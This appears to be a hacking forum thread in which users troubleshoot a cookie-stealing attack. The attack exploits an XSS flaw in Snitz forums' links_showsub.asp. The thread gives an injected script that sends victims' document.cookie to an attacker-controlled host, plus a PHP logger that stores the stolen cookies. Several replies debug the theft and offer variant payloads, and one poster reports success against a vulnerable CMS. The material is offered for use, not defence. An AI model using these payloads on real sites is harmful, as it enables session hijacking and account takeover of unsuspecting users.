Well its snitz forums and there exists XSS in links_showsub.asp?cat_id=4&cat=XSS
So basicly i inject folowing script
<script>document.location='http://www.host.com/script.php?cookie='+document.cookie;</Script>
where script.php is:
<?php
$fp = fopen('logger.txt','a'); // open to append
fwrite($fp, $_GET['cookie']."~~~~~~~~~"); // write the cookie information
fclose($fp);
?>
Instead of having cookie logged in a logger.txt the cookie is displayed in the address bar.This is the reslut
http://forums.xxx.com/www.host.com/script.php?cookie=Snitz00arrRqCalForumID=1%2C41%2C4%1C18%2C76;%20ASPSESSIONIDCCCAQTBS=
So why is not cookie logged in a logger.txt file |

This logger code seems to be ok. Maybe you don't have write permissions to specific directory?
So, i suggest to add some debug code:
Code: |
<?php
$fp = fopen('logger.txt','a'); // open to append
if(!$fp)
{
die('f**ck, can't open file to write!');
}
fwrite($fp, $_GET['cookie']."~~~~~~~~~"); // write the cookie information
fclose($fp);
?>

You wrote before:
Quote: |
the cookie is displayed in the address bar
|
This is normal, because you have making GET request, so those parameters are as part of the request URI.
But problem still stays - for some reason script is not writing to the file.
Question - if you look at webserver directory after script is worked,
is there empty log file or no log file at all??
And you can add some more debug code, to see, if GET parameters are accessible:
Code: |
<?php
$test = $_GET['cookie'];
echo "cookie --> $test\n";
$fp = fopen('logger.txt','a'); // open to append
if(!$fp)
{
die('f**ck, can't open file to write!');
}
fwrite($fp, $_GET['cookie']."~~~~~~~~~"); // write the cookie information
fclose($fp);
?>

Wait a minute, seems that i was getting wrong picture
You mean, that script WRITES to log file SOMETHING as:
Code: |
Snitz00arrRqCalForumID=1%2C41%2C4%1C18%2C76;%20ASPSESSIONIDCCCAQTBS=
|
but there is no actual password hash? Am i right? |
|

Here it is |

try adding a "window", so the script looks like:
Code: |
<script>window.document.location='http://www.host.com/script.php?cookie='+window.document.cookie;</Script>
|
maybe it helps, since web browsers are changed in mean while |

I Think the problem is somewhere in the quote after "cookie=" parametar
<script>document.location='http://www.host.info/cookie.php?cookie='+document.cookie</Script>
after i put it like this
<script>document.location='http://www.host.info/cookie.php?cookie=+document.cookie'</Script>
the file is immediatelly created but without cookie in it |

im curios why this happen, ive already try some kind of cookies stealing script a long time ago n it workz, but when u post the message , i have to try it again
so i use your script
before that i create a file called "logger.txt" with permission 777 in the same directory with cookie.php.
then i run some XSS on vulnerable CMS (i have one) then the command will redirect it to script (cookie.php) my laptop to write the cookies to a file (logger.txt).
n IT workzzz fine |

Well the only script that managed to log the cookie is based upon this
My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi
It sends a request to my site that looks like this.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space
But the source of cookie.cgi is not given. |
